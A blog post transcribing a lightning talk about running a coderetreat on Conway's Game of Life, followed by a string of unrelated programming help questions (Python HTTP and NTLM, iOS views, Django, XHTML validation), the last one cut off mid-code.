    In the spirit of trying to encourage more deliberate practice amongst coders in Red Gate, Lauri Pesonen had the idea of running a coderetreat in Red Gate. Lauri and I ran the first one a few weeks ago: given that neither of us hadn’t even been to a coderetreat before, let alone run one, I think it turned out quite well. The participants gave positive feedback, saying that they enjoyed the day, wrote some thought-provoking code and would do it again. Sam Blackburn was one of the attendees, and gave a lightning talk to the other developers in one of our regular lightning talk sessions: In case you can’t watch the video, I’ve transcribed the talk below, although I’d recommend watching the video if you can — I didn’t have much time to do the transcribing! So, what is a coderetreat? So it’s not just something in Red Gate, there’s a website and everything, although it’s not a very big website. It calls itself a community network. The basic ideas behind coderetreat are: you’ve got one day, and you split it into one hour sections. You spend three quarters of that coding, and do a little retrospective at the end. You’re supposed to start fresh each, we were told to delete our code after every session. We were in pairs, swapping after each session, and we did the same task every time. In fact, Conway’s Game of Life is the only task mentioned anywhere that I find for coderetreat. So I don’t know what we’ll do next time, or if we’re meant to do the same thing again. There are some guiding principles which felt to us like restrictions, that you have to code in crazy ways to encourage better code. Final thing is that it’s supposed to be free for outsiders to join. It’s meant to be a kind of networking thing, where you link up with people from other companies. We had a pilot day with Michael and Lauri. Since it was basically the first time any of us had done anything like this, everybody was from Red Gate. We didn’t chat to anybody else for the initial one. The task was Conway’s Game of Life, which most of you have probably heard of it, all but one of us knew about it when did the coderetreat. I won’t got into the details of what it is, but it felt like the right size of task, basically one or two groups actually produced something working by the end of the day, and of course that doesn’t mean it’s necessarily a day’s work to produce that because we were starting again every hour. The task really drives you more than trying to create good code, I found. It was really tempting to try and get it working rather than stick to the rules. But it’s really good to stop and try again because there are so many what-ifs when you’ve finished writing something, “what if I’d done it this way?”. You can answer all those questions at a coderetreat because it’s not about getting a product out the door, it’s about learning and playing with ideas. So we had all these different practices we were trying. I’ll try and go through most of these. Single responsibility is this idea that everything should do just one thing. It was the very first session, we were still trying to figure out how do you go about the Game of Life? So by the end of forty-five minutes hadn’t produced very much for that first session. We were still thinking, “Do we start with a board, how do we represent all these squares? It can be infinitely big, help, this is getting really difficult!”. So, most of us didn’t really get anywhere on the first one. Although it was interesting that some people started with the board, one group started with the FateDecider class that decides whether things live or die. A sort of god class, but in a good way. They managed to implement all of the rules without even defining how the squares were arranged or anything like that. Another thing we tried was TDD (test-driven development). I’m sure most of you know what TDD is: Watch a test, watch it fail for the right reason Write code to pass the test, watch it pass Refactor, check the test still passes Repeat! It basically worked, we were able to produce code, but we often found the tests defined the direction that code went, which is obviously the idea of TDD. But you tend to find that by the time you’ve even written your first assertion, which is supposed to be the very first thing you write, because you write your tests backwards from the assertions back to the initial conditions, you’ve already constrained the logic of the code in some way by the time you’ve done that. You then get to this situation of, “Well, we actually want to go in a slightly different direction. Can we do this?”. Can we write tests that don’t constrain the architecture? Wrapping up all primitives: it’s kind of turtles all the way down. We had a Size, which has a Width and Height, which both derive from Dimension. You’ve got pages of code before you’ve even done anything. No getters and setters (use tell don’t ask instead): mocks and stubs for tests are required if you want to assert that your results are what you think they should be. You can’t just check the internal state of the code. And people found that really challenging and it made them think in a different way which I think is really good. Not having mutable state: that was kind of confusing because we weren’t quite sure what fitted within that rule and what didn’t, and I think we were trying too hard to follow the rule rather than the guideline. No if-statements: supposed to use polymorphism instead, but polymorphism still requires a factory with conditional behaviour. We did something really crazy to get around this: public T If(bool condition, Func<T> left, Func<T> right) { var dict = new Dictionary<bool, Func<T>> {{true, left}, {false, right}}; return dict[condition].Invoke(); } That is not really polymorphism, is it? For-loops: you can always replace a for-loop with recursion, but it doesn’t tend to make it any more readable unless it’s the kind of task that really lends itself to that. So it was interesting, it was good practice, but it wouldn’t make it easier it’s the kind of tree-structure algorithm where that would help. Having a limit on the number of levels of indentation: again, I think it does produce very nice, clean code, but it wasn’t actually a challenge because you just extract methods. That’s quite a useful thing because you can apply that to real code and say, “Okay, should this method really be going crazy like this?” No talking: we hated that. It’s like there’s two of you at a computer, and one of you is doing the typing, what does the other guy do if they’re not allowed to talk. The answer is TDD ping-pong – one person writes the tests, and then the other person writes the code to pass the test. And that creates communication without actually having to have discussion about things which is kind of cool. No code comments: just makes no difference to anything. It’s a forty-five minute exercise, so what are you going to put comments in code for? Finally, this is my fault. I discovered an entertaining way of doing the calculation that was kind of cool (using convolutions over the state of the board). Unfortunately, it turns out to be really hard to implement in C#, so didn’t even manage to work out how to do that convolution in C#. It’s trivial in some high-level languages, but you need something matrix-orientated for it to really work. That’s most of it, really. The thoughts that people went away with: we put down our answers to questions like “What have you learnt?” and “What surprised you?”, “How are you going to do things differently?”, and most people said redoing the problem is really, really good for understanding it properly. People hate having a massive legacy codebase that they can’t change, so being able to attack something three different ways in an environment where the end-product isn’t important: that’s something people really enjoyed. Pair-programming: also people said that they wanted to do more of that, especially with TDD ping-pong, where you write the test and somebody else writes the code. Various people thought different things about immutables, but most people thought they were good, they promote functional programming. And TDD people found really hard. “Tell, don’t ask” people found really, really hard and really, really, really hard to do well. And the recursion just made things trickier to debug. But most people agreed that coderetreats are really cool, and we should do more of them.

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  • python unhashable type - posting xml data

    - by eterry28
    First, I'm not a python programmer. I'm an old C dog that's learned new Java and PHP tricks, but python looks like a pretty cool language. I'm getting an error that I can't quite follow. The error follows the code below. import httplib, urllib url = "pdb-services-beta.nipr.com" xml = '<?xml version="1.0"?><!DOCTYPE SCB_Request SYSTEM "http://www.nipr.com/html/SCB_XML_Request.dtd"><SCB_Request Request_Type="Create_Report"><SCB_Login_Data CustomerID="someuser" Passwd="somepass" /><SCB_Create_Report_Request Title=""><Producer_List><NIPR_Num_List_XML><NIPR_Num NIPR_Num="8980608" /><NIPR_Num NIPR_Num="7597855" /><NIPR_Num NIPR_Num="10166016" /></NIPR_Num_List_XML></Producer_List></SCB_Create_Report_Request></SCB_Request>' params = {} params['xmldata'] = xml headers = {} headers['Content-type'] = 'text/xml' headers['Accept'] = '*/*' headers['Content-Length'] = "%d" % len(xml) connection = httplib.HTTPSConnection(url) connection.set_debuglevel(1) connection.request("POST", "/pdb-xml-reports/scb_xmlclient.cgi", params, headers) response = connection.getresponse() print response.status, response.reason data = response.read() print data connection.close Here's the error: Traceback (most recent call last): File "C:\Python27\tutorial.py", line 14, in connection.request("POST", "/pdb-xml-reports/scb_xmlclient.cgi", params, headers) File "C:\Python27\lib\httplib.py", line 958, in request self._send_request(method, url, body, headers) File "C:\Python27\lib\httplib.py", line 992, in _send_request self.endheaders(body) File "C:\Python27\lib\httplib.py", line 954, in endheaders self._send_output(message_body) File "C:\Python27\lib\httplib.py", line 818, in _send_output self.send(message_body) File "C:\Python27\lib\httplib.py", line 790, in send self.sock.sendall(data) File "C:\Python27\lib\ssl.py", line 229, in sendall v = self.send(data[count:]) TypeError: unhashable type My log file says that the xmldata parameter is empty. Any ideas?

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  • PYTHON: ntlm authentication

    - by Svetlana
    Hello!! I'm trying to implement NTLM authentication on IIS (Windows Server 2003) from Windows 7 with python. LAN Manager Authentication Level: Send NTLM response only. Client machine and server are in the same domain. Domain controller (AD) is on another server (also running Windows Server 2003). I recieve 401.1 - Unauthorized: Access is denied due to invalid credentials. Could you please help me find out what is wrong with this code and/or show me the other possible directions to solve this problem (using NTLM or Kerberos)? [python] import sys, httplib, base64, string import urllib2 import win32api import sspi import pywintypes import socket class WindoewNtlmMessageGenerator: def __init__(self,user=None): import win32api,sspi if not user: user = win32api.GetUserName() self.sspi_client = sspi.ClientAuth("NTLM",user) def create_auth_req(self): import pywintypes output_buffer = None error_msg = None try: error_msg, output_buffer = self.sspi_client.authorize(None) except pywintypes.error: return None auth_req = output_buffer[0].Buffer auth_req = base64.encodestring(auth_req) auth_req = string.replace(auth_req,'\012','') return auth_req def create_challenge_response(self,challenge): import pywintypes output_buffer = None input_buffer = challenge error_msg = None try: error_msg, output_buffer = self.sspi_client.authorize(input_buffer) except pywintypes.error: return None response_msg = output_buffer[0].Buffer response_msg = base64.encodestring(response_msg) response_msg = string.replace(response_msg,'\012','') return response_msg fname='request.xml' request = file(fname).read() ip_host = '10.0.3.112' ntlm_gen = WindoewNtlmMessageGenerator() auth_req_msg = ntlm_gen.create_auth_req() auth_req_msg_dec = base64.decodestring(auth_req_msg) auth_req_msg = string.replace(auth_req_msg,'\012','') webservice = httplib.HTTPConnection(ip_host) webservice.putrequest("POST", "/idc/idcplg") webservice.putheader("Content-length", "%d" % len(request)) webservice.putheader('Authorization', 'NTLM'+' '+auth_req_msg) webservice.endheaders() resp = webservice.getresponse() resp.read() challenge = resp.msg.get('WWW-Authenticate') challenge_dec = base64.decodestring(challenge.split()[1]) msg3 = ntlm_gen.create_challenge_response(challenge_dec) webservice = httplib.HTTP(ip_host) webservice.putrequest("POST", "/idc/idcplg?IdcService=LOGIN&Auth=Intranet") webservice.putheader("Host", SHOD) webservice.putheader("Content-length", "%d" % len(request)) webservice.putheader('Authorization', 'NTLM'+' '+msg3) webservice.putheader("Content-type", "text/xml; charset=\"UTF-8\"") webservice.putheader("SOAPAction", "\"\"") webservice.endheaders() webservice.send(request) statuscode, statusmessage, header = webservice.getreply() res = webservice.getfile().read() res_file = file('result.txt','wb') res_file.write(res) res_file.close() [/python] sspi.py is available here: http://www.koders.com/python/fidF3B0061A07CD13BA35FF263E3E45252CFABFAA3B.aspx?s=timer Thanks!

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  • UIScrollView frame size issue in Landscape Mode

    - by viper15
    I'm trying to make UIScrollView auto-resize and appear correctly in Landscape mode. Portrait mode works fine. Here's my code: - (void)viewDidLoad { [super viewDidLoad]; //=== load all the custom view NSMutableArray *controllers = [[NSMutableArray alloc] init]; int page = 0; [controllers addObject:[self loadScrollView:[[Page1ViewController alloc] initWithNibName:@"Page1ViewController" bundle:nil] withPage:page++]]; [controllers addObject:[self loadScrollView:[[Page2ViewController alloc] initWithNibName:@"Page2ViewController" bundle:nil] withPage:page++]]; [controllers addObject:[self loadScrollView:[[Page3ViewController alloc] initWithNibName:@"Page3ViewController" bundle:nil] withPage:page++]]; self.viewControllers = controllers; [controllers release]; //=== automaticaly define number of pages _numberOfPages = [self.viewControllers count]; // a page is the width of the scroll view scrollView.autoresizingMask = UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight; scrollView.pagingEnabled = YES; scrollView.contentSize = CGSizeMake(scrollView.frame.size.width * _numberOfPages, scrollView.frame.size.height); scrollView.showsHorizontalScrollIndicator = NO; scrollView.showsVerticalScrollIndicator = NO; scrollView.scrollsToTop = NO; scrollView.delegate = self; // First, set the number of pages pageControl.numberOfPages = _numberOfPages; pageControl.currentPage = 0; } Then, I went into each view controller nib file and set the background to different color to test if it's working. Unfortunately, when in Landscape mode, the width and height remains the same as in Portrait Mode. I'm not sure how to fix this problem. Hope anyone can help me. Many thanks in advance.

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  • IOs7 app crashing when in background

    - by Leonardo
    My app sometimes crashes when in background and shows the following crash log: Nov 7 12:33:31 iPad backboardd[29] <Warning>: MyApp[3096] has active assertions beyond permitted time: {( <BKProcessAssertion: 0x14680c60> identifier: Called by MyApp, from -[AppDelegate applicationDidEnterBackground:] process: MyApp[3096] permittedBackgroundDuration: 180.000000 reason: finishTask owner pid:3096 preventSuspend preventIdleSleep preventSuspendOnSleep )} Looking through other questions I found out that the crash message indicates that I didn't end a task properly, so when its time expired the OS ended it and crashed my app. So I added some NSLogs: - (void)applicationDidEnterBackground:(UIApplication *)application { [self saveContext]; [Settings setCallLock:YES]; [self saveStuff]; if ([self isBackgroundTaskNeeded]) { UIApplication* app = [UIApplication sharedApplication]; bgTask = [app beginBackgroundTaskWithExpirationHandler:^{ [self pauseDownloads]; NSLog(@"Debug - Ending background task %d",bgTask); [app endBackgroundTask:bgTask]; NSLog(@"Debug - Background task %d ended",bgTask); bgTask = UIBackgroundTaskInvalid; }]; NSLog(@"Debug - Starting background task %d",bgTask); [self initBackground]; } } and found out that the task was called twice when it crashed: Nov 7 12:30:02 iPad MyApp[3096] <Warning>: Debug - Starting background task 7 Nov 7 12:30:30 iPad MyApp[3096] <Warning>: Debug - Starting background task 8 Nov 7 12:33:26 iPad MyApp[3096] <Warning>: Debug - Ending background task 8 Nov 7 12:33:26 iPad MyApp[3096] <Warning>: Debug - Background task 8 ended Nov 7 12:33:26 iPad MyApp[3096] <Warning>: Debug - Ending background task 0 Nov 7 12:33:26 iPad MyApp[3096] <Warning>: Debug - Background task 0 ended I wasn't able to tell when the double call happens and why. So question is why is the task being called twice and is there a way to avoid it? Edit: - (void) pauseDownloads { for (AFDownloadRequestOperation *operation in self.operationQueue.operations) { if(![operation isPaused]) { [operation pause]; } } }

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  • Iphone xCode - Navigation Controller on second xib view?

    - by Frames84
    Everything is fine, my navigation controller display's my 'Menu 1' item, but when i click it there appears to be a problem with the: [self.navigationController pushViewController:c animated:YES]; line it doesn't connect to the break point in the myClass file. so I think i've not joined something? but unsure what? my second view with the navigation controller doesn't have direct access to the AppDelegate so can't join it like i see in some tutorials. 1st view is just a button when clicked calls: [self presentModalViewController:mainViewController animated:YES]; my second View 'MainViewController' header looks like: @interface MainViewController :UITableViewController <UITableViewDelegate, UITableViewDataSource> { NSArray *controllers; UINavigationController *navController; } @property (nonatomic, retain) IBOutlet UINavigationController *navControllers; @property (nonatomic, retain) NSArray *controller; Then I have my MainViewController.m @synthesize controllers; @synthesize navController; - (void) viewDidLoad { NSMutableArray *array = [[NSMutaleArray alloc] init]; myClass *c = [[myClass alloc] initWithStyle:UITableViewStylePlain]; c.Title = @"Menu 1"; [array addObject:c]; self.Controllers = array; [array release]; } implemented numberOfRowsInSection and cellForRowAtIndexPath - (void) tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath { NSUInteger row = [indexPath row]; myClass *c = [self.controllers objectAtIndex:row]; [self.navigationController pushViewController:c animated:YES]; // doesn't load myClass c // [self.navController pushViewController:c animated:YES]; } Also in interface designer I dragged a Navigation Controller onto my new XIB and changed the Root View Controller class to MainViewController and also connected the File Owner connector to the Navigation Controller to connect the navController Outlet. Thanks for you time.

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  • I/O error(socket error): [Errno 111] Connection refused

    - by Schitti
    I have a program that uses urllib to periodically fetch a url, and I see intermittent errors like : I/O error(socket error): [Errno 111] Connection refused. It works 90% of the time, but the othe r10% it fails. If retry the fetch immediately after it fails, it succeeds. I'm unable to figure out why this is so. I tried to see if any ports are available, and they are. Any debugging ideas? For additional info, the stack trace is: File "/usr/lib/python2.6/urllib.py", line 235, in retrieve fp = self.open(url, data) File "/usr/lib/python2.6/urllib.py", line 203, in open return getattr(self, name)(url) File "/usr/lib/python2.6/urllib.py", line 342, in open_http h.endheaders() File "/usr/lib/python2.6/httplib.py", line 868, in endheaders self._send_output() File "/usr/lib/python2.6/httplib.py", line 740, in _send_output self.send(msg) File "/usr/lib/python2.6/httplib.py", line 699, in send self.connect() File "/usr/lib/python2.6/httplib.py", line 683, in connect self.timeout) File "/usr/lib/python2.6/socket.py", line 512, in create_connection raise error, msg Edit - A google search isn't very helpful, what I got out of it is that the server I'm fetching from sometimes refuses connections, how can I verify its not a bug in my code and this is indeed the case?

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  • How to change the border color of a Grouped UITableView

    - by ctpenrose
    This concerns iPhoneOS-sdk-3.2 I am having difficulty changing the border color of a grouped UITableView. I can change the cell background color, separator color, text color, quite easily now, and the rounded corners clip correctly, even when highlighted with whatever colors I have chosen. However the surrounding border remains infuriatingly gray despite many different attempts. I have read all of the related posts I can find via Google, let alone stackoverflow. I have tried both a programmatic and xib-based solution and both provide the same results. I will share the programmatic version below: I have a UIViewController subclass rather than a UITableViewController subclass to act as a UITableView delegate -- I chose this route as I am coding on the iPad and UITableViewController reportedly takes over the whole screen. loadView method of my UIViewController subclass: - (void) loadView { self.view = [[UIView alloc] initWithFrame:[[UIScreen mainScreen] applicationFrame]]; [self.view release]; self.view.backgroundColor = [UIColor blackColor]; // add and configure UITableView CGRect tableViewRect = CGRectMake(0., 0., 256., 768.); myTableView = [[UITableView alloc] initWithFrame:tableViewRect style:UITableViewStyleGrouped]; // set the tableview delegate to this object and the datasource to the datasource which has already been set myTableView.delegate = self; myTableView.dataSource = self; myTableView.sectionIndexMinimumDisplayRowCount=1; myTableView.backgroundColor = [UIColor clearColor]; myTableView.separatorColor = [UIColor whiteColor]; myTableView.separatorStyle = UITableViewCellSeparatorStyleSingleLine; myTableView.opaque = NO; // add the table view to our background view [self.view addSubview:myTableView]; [myTableView release]; }

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  • RubyQT QGraphicsview scale images to fit window

    - by shadowskill
    I'm trying to make an image scale inside of a QGraphicsView and having zero success. I did find this C++ question with what seemed to be the same problem:http://stackoverflow.com/questions/2489754/qgraphicsview-scrolling-and-image-scaling-cropping I borrowed the approach of overriding the drawback/foreground. However when I run the script I'm greeted with a method_missing error: method_missing: undefined method drawPixmap for #<Qt::Painter:0x7ff11eb9b088> QPaintDevice: Cannot destroy paint device that is being painted What should I be doing to get the QGraphicsView to behave the way I want? class Imageview < Qt::GraphicsView attr_reader :pixmap def initialize(parent=nil) # @parent=parent super() @pixmap=pixmap Qt::MetaObject.connectSlotsByName(self) end def loadimage(pixmap) @pixmap=pixmap end def drawForeground(painter, rect) #size=event.size() #item= self.items()[0] #Qt::GraphicsPixmapItem.new #pixmap=@pixmap #painter=Qt::Painter.new [email protected](Qt::Size.new(rect.width,rect.height),Qt::KeepAspectRatio, Qt::SmoothTransformation) # painter.begin(self) painter.drawPixmap(rect,sized,Qt::Rect.new(0.0, 0.0, sized.width,sized.height)) #painter.end() # item.setPixmap(sized) #painter.end self.centerOn(1.0,1.0) #item.scale() # item.setTransformationMode(Qt::FastTransformation) # self.fitInView(item) end def updateSceneRect painter=Qt::Painter.new() drawForeground(painter,self.sceneRect) end end app=Qt::Application.new(ARGV) #grview=Imageview.new pic=Qt::Pixmap.new('pic') grview=Imageview.new() grview.loadimage(pic) scene=Qt::GraphicsScene.new #scene.addPixmap(pic) grview.setScene(scene) #grview.fitInView(scene) grview.renderHint=Qt::Painter::Antialiasing | Qt::Painter::SmoothPixmapTransform grview.backgroundBrush = Qt::Brush.new(Qt::Color.new(230, 200, 167)) grview.show app.exec

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  • Force Postback from code behind? Or reload JavaScript from an Asynchronous Postback?

    - by sah302
    Hi all, I've got a Jquery UI dialog that pops up to confirm the creation of an item after filling out a form. I have the form in an update panel due to various needs of the form, and especially because I want validation being done on the form without reloading the page. JavaScript appears to not reload on an asynchronoous postback. This means when the form is a success and I change the variable 'formSubmitPass' to true, it does not get passed to the Javascript via <%= formSubmitPass %. If I add a trigger to the submit button to do a full postback, it works. However I don't want the submit button to do a full postback as I said so I can validate the form within the update panel. How can I have this so my form validates asynchronously, but my javaScript will properly reload when the form is completed successfully and the item is saved to the database? Javascript: var formSubmitPass = '<%= formSubmitPass %>'; var redirectUrl = '<%= redirectUrl %>'; function pageLoad() { $('#formPassBox').dialog({ autoOpen: false, width: 400, resizable: false, modal: true, draggable: false, buttons: { "Ok": function() { window.location.href = redirectUrl; } }, open: function(event, ui) { $(".ui-dialog-titlebar-close").hide(); var t = window.setTimeout("goToUrl()", 5000); } }); if(formSubmitPass == 'True') { $('#formPassBox').dialog({ autoOpen: true }); } So how can I force a postback from the code behind, or reload the JavaScript on an Asynchronous Postback, or do this in a way that will work such that I can continue to do Async form validation? Edit: I change formSubmitPass at the very end of the code behind: If errorCount = 0 Then formSubmitPass = True upForm.Update() Else formSubmitPass = False End If So on a full postback, the value does change.

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  • How do I MVVM-ize this MouseDown code in my WPF 3D app?

    - by DanM
    In my view, I have: <UserControl x:Class ... MouseDown="UserControl_MouseDown"> <Viewport3D Name="Viewport" Grid.Column="0"> ... </Viewport3D > </UserControl> In my code-behind, I have: private void UserControl_MouseDown(object sender, MouseButtonEventArgs e) { ((MapPanelViewModel)DataContext).OnMouseDown(e, Viewport); } And in my view-model, I have: public void OnMouseDown(MouseEventArgs e, Viewport3D viewport) { var range = new LineRange(); var isValid = ViewportInfo.Point2DtoPoint3D(viewport, e.GetPosition(viewport), out range); if (!isValid) MouseCoordinates = "(no data)"; else { var point3D = range.PointFromZ(0); var point = ViewportInfo.Point3DtoPoint2D(viewport, point3D); MouseCoordinates = e.GetPosition(viewport).ToString() + "\n" + point3D + "\n" + point; } } I really don't have a good sense of how to handle mouse events with MVVM. I always just end up putting them in the code-behind and casting the DataContext as SomeViewModel, then passing the MouseEventArgs on to a handler in my view-model. That's bad enough already, but in this case, I'm actually passing in a control (a Viewport3D), which is necessary for translating coordinates between 2D and 3D. Any suggestions on how to make this more in tune with MVVM?

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  • Mac gcc non-virtual thunk error

    - by fret
    I'm getting these non-virtual thunk errors only in the Deployment build of my app. It uses a private framework called Lgi. Building on 10.5.8 using XCode 3.1.4 (latest for leopard?) The error looks like this: Ld /Users/matthew/Code/Scribe-Branches/v2.00/build/Development/Scribe.app/Contents/MacOS/Scribe normal i386 cd /Users/matthew/Code/Scribe-Branches/v2.00 /Developer/usr/bin/g++-4.0 -arch i386 -L/Users/matthew/Code/Scribe-Branches/v2.00/build/Development -F/Users/matthew/Code/Scribe-Branches/v2.00/build/Development -F/Users/matthew/Code/Lgi/build -F/Users/matthew/Code/Scribe-Branches/v2.00/../../Lgi/build/Development -F/Users/matthew/Code/Scribe-Branches/v2.00/../../Lgi/build/Development -F/Users/matthew/Code/Scribe-Branches/v2.00/../../Lgi/build/Deployment -F/Users/matthew/Code/Scribe-Branches/v2.00/../../Lgi/build/Development -F/Users/matthew/Code/Scribe-Branches/v2.00/../../Lgi/build/Deployment -filelist /Users/matthew/Code/Scribe-Branches/v2.00/build/Scribe.build/Development/Scribe.build/Objects-normal/i386/Scribe.LinkFileList -framework Carbon -framework Lgi -o /Users/matthew/Code/Scribe-Branches/v2.00/build/Development/Scribe.app/Contents/MacOS/Scribe Undefined symbols: "non-virtual thunk to GWindow::OnDrop(char*, GVariant*, GdcPt2, int)", referenced from: vtable for ScribeWndin ScribeApp.o vtable for GShutdownin ScribeApp.o vtable for CalendarUiin Calendar.o vtable for CalendarViewWndin CalendarView.o vtable for CalendarConfigin CalendarView.o vtable for ScribeExportin Exp_Scribe.o vtable for GNewMailDlgin GNewMailDlg.o ....etc for lots of classes.... Anyway I know I'm not leaving those undefined because it does in fact link and run fine in the development build. Now after googling the issue the first thing to try is changing the optimization setting, which I did... and no dice. Some link error. So these virtual functions are initially defined in GDragDropTarget, and GWindow's inheritance looks like this: class LgiClass GWindow : public GView #ifndef WIN32 , public GDragDropTarget #endif (LgiClass being for __declspec export/import on win32) Any ideas on what to try next? Maybe I need to provide more info.

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  • NSPredicates, scopes and SearchDisplayController

    - by Bryan Veloso
    Building a search with some custom objects and three scopes: All, Active, and Former. Got it working with the below code: - (void)filterContentForSearchText:(NSString*)searchText scope:(NSString *)scope { [[self filteredArtists] removeAllObjects]; for (HPArtist *artist in [self artistList]) { if ([scope isEqualToString:@"All"] || [[artist status] isEqualToString:scope]) { NSComparisonResult result = [[artist displayName] compare:searchText options:(NSCaseInsensitiveSearch|NSDiacriticInsensitiveSearch) range:NSMakeRange(0, [searchText length])]; if (result == NSOrderedSame) { [[self filteredArtists] addObject:artist]; } } } } This works fine and takes scope into account. Since I wanted to search four fields at at time, this question helped me come up with the below code: - (void)filterContentForSearchText:(NSString*)searchText scope:(NSString *)scope { [[self filteredArtists] removeAllObjects]; NSPredicate *resultPredicate = [NSPredicate predicateWithFormat:@"familyName CONTAINS[cd] %@ OR familyKanji CONTAINS[cd] %@ OR givenName CONTAINS[cd] %@ OR givenKanji CONTAINS[cd] %@", searchText, searchText, searchText, searchText]; [[self filteredArtists] addObjectsFromArray:[[self artistList] filteredArrayUsingPredicate:resultPredicate]]; } However it no longer takes scope into account. I have been playing around with if statements, adding AND scope == 'Active', etc. to the end of the statement and using NSCompoundPredicates to no avail. Whenever I activate a scope, I'm not getting any matches for it. Just a note that I've seen approaches like this one that take scope into account, however they only search inside one property.

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  • UIViewAnimationTransitionCurlUp in landscape mode transitioning right-to-left

    - by Thanos
    I have a view controller that is showing in portrait mode. When you touch the "menu" button, it calls the code below and it flips up to the MainMenu controller. So far, so good. - (void) menuButton: (id) sender { MainMenu_ViewController * viewController = [[MainMenu_ViewController alloc] initWithNibName:@"MainMenu_ViewController" bundle:nil]; self.menuView = viewController.view; self.menuView.frame = self.view.bounds; [viewController release]; [UIView beginAnimations:nil context: nil]; [UIView setAnimationDuration: 1.0]; [UIView setAnimationTransition: UIViewAnimationTransitionCurlUp forView: self.view cache: YES]; [self.view addSubview: self.menuView]; [UIView commitAnimations]; } However, when you do the same in landscape mode, instead of the animation flipping up (with respect to gravity, i.e. towards the long end of the iPhone) it flips towards the left (i.e. towards the short end of the iPhone). Is this a limitation of the animation, or am I missing something?

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  • Django | django-socialregistration error

    - by MMRUser
    I'm trying to add the facebook connect feature to my site, I decided to use django socialregistration.All are setup including pyfacebook, here is my source code. settings.py MIDDLEWARE_CLASSES = ( 'django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'facebook.djangofb.FacebookMiddleware', 'socialregistration.middleware.FacebookMiddleware', ) urls.py (r'^callback/$', 'fbproject.fbapp.views.callback'), views.py def callback(request): return render_to_response('canvas.fbml') Template <html> <body> {% load facebook_tags %} {% facebook_button %} {% facebook_js %} </body> </html> but when I point to the URL, I'm getting this error Traceback (most recent call last): File "C:\Python26\lib\site-packages\django\core\servers\basehttp.py", line 279, in run self.result = application(self.environ, self.start_response) File "C:\Python26\lib\site-packages\django\core\servers\basehttp.py", line 651, in __call__ return self.application(environ, start_response) File "C:\Python26\lib\site-packages\django\core\handlers\wsgi.py", line 241, in __call__ response = self.get_response(request) File "C:\Python26\lib\site-packages\django\core\handlers\base.py", line 73, in get_response response = middleware_method(request) File "build\bdist.win32\egg\socialregistration\middleware.py", line 13, in process_request request.facebook.check_session(request) File "C:\Python26\lib\site-packages\facebook\__init__.py", line 1293, in check_session self.session_key_expires = int(params['expires']) ValueError: invalid literal for int() with base 10: 'None' Django 1.1.1 *Python 2.6.2*

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  • How do you write Valid XHTML 1.0 Strict code when you are using javascript to fill an element that r

    - by Tim Visher
    I'm running my site through the W3C's validator trying to get it to validate as XHTML 1.0 Strict and I've gotten down to a particularly sticky (at least in my experience) validation error. I'm including certain badges from various services in the site that provide their own API and code for inclusion on an external site. These badges use javascript (for the most part) to fill an element that you insert in the markup which requires a child. This means that in the end, perfectly valid markup is generated, but to the validator, all it sees is an incomplete parent-child tag which it then throws an error on. As a caveat, I understand that I could complain to the services that their badges don't validate. Sans this, I assume that someone has validated their code while including badges like this, and that's what I'm interested in. Answers such as, 'Complain to Flickr about their badge' aren't going to help me much. An additional caveat: I would prefer that as much as possible the markup remains semantic. I.E. Adding an empty li tag or tr-td pair to make it validate would be an undesirable solution, even though it may be necessary. If that's the only way it can be made to validate, oh well, but please lean answers towards semantic markup. As an example: <div id="twitter_div"> <h2><a href="http://twitter.com/stopsineman">@Twitter</a></h2> <ul id="twitter_update_list"> <script type="text/javascript" src="http://twitter.com/javascripts/blogger.js"></script> <script type="text/javascript" src="http://twitter.com/statuses/user_timeline/stopsineman.json?callback=twitterCallback2&amp;count=1"></script> </ul> </div> Notice the ul tags wrapping the javascript. This eventually gets filled in with lis via the script, but to the validator it only sees the unpopulated ul. Thanks in advance!

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  • iPhone - openAL stops playing if I record with AVAudioRecorder

    - by Oscar Peli
    Hi there, this is an iPhone-related question: I use openAL to play some sound (I have to manage gain, pitch, etc.). I want to record what I'm playing and I use AVAudioRecorder but when I "prepareToRecord" openAL stops to play audio. What's the problem? Here is the record IBAction I use: - (IBAction) record: (id) sender { NSError *error; NSMutableDictionary *settings = [NSMutableDictionary dictionary]; [settings setValue: [NSNumber numberWithInt:kAudioFormatLinearPCM] forKey:AVFormatIDKey]; [settings setValue: [NSNumber numberWithFloat:8000.0] forKey:AVSampleRateKey]; [settings setValue: [NSNumber numberWithInt: 1] forKey:AVNumberOfChannelsKey]; [settings setValue: [NSNumber numberWithInt:16] forKey:AVLinearPCMBitDepthKey]; [settings setValue: [NSNumber numberWithBool:NO] forKey:AVLinearPCMIsBigEndianKey]; [settings setValue: [NSNumber numberWithBool:NO] forKey:AVLinearPCMIsFloatKey]; NSURL *url = [NSURL fileURLWithPath:FILEPATH]; self.recorder = [[AVAudioRecorder alloc] initWithURL:url settings:settings error:&error]; self.recorder.delegate = self; self.recorder.meteringEnabled = YES; [self.recorder prepareToRecord]; [self.recorder record]; } Thanks

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  • UIScrollView without paging but with touchesmoved

    - by BittenApple
    I have a UIScrollView that I use to display PDF pages in. I don't want to use paging (yet). I want to display content based on touchesmoved event (so after horizontal swipe). This works (sort of), but instead of catching a single swipe and showing 1 page, the swipe seems to gets broken into 100s of pieces and 1 swipe acts as if you're moving a slider! I have no clue what am I doing wrong. Here's the experimental "display next page" code which works on single taps: - (void)nacrtajNovuStranicu:(CGContextRef)myContext { CGContextTranslateCTM(myContext, 0.0, self.bounds.size.height); CGContextScaleCTM(myContext, 1.0, -1.0); CGContextSetRGBFillColor(myContext, 255, 255, 255, 1); CGContextFillRect(myContext, CGRectMake(0, 0, 320, 412)); size_t brojStranica = CGPDFDocumentGetNumberOfPages(pdfFajl); if(pageNumber < brojStranica){ pageNumber ++; } else{ // kraj PDF fajla, ne listaj dalje. } CGPDFPageRef page = CGPDFDocumentGetPage(pdfFajl, pageNumber); CGContextSaveGState(myContext); CGAffineTransform pdfTransform = CGPDFPageGetDrawingTransform(page, kCGPDFCropBox, self.bounds, 0, true); CGContextConcatCTM(myContext, pdfTransform); CGContextDrawPDFPage(myContext, page); CGContextRestoreGState(myContext); //osvjezi displej [self setNeedsDisplay]; } Here's the swiping code: - (void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event { [super touchesBegan:touches withEvent:event]; UITouch *touch = [touches anyObject]; gestureStartPoint = [touch locationInView:self]; } - (void)touchesMoved:(NSSet *)touches 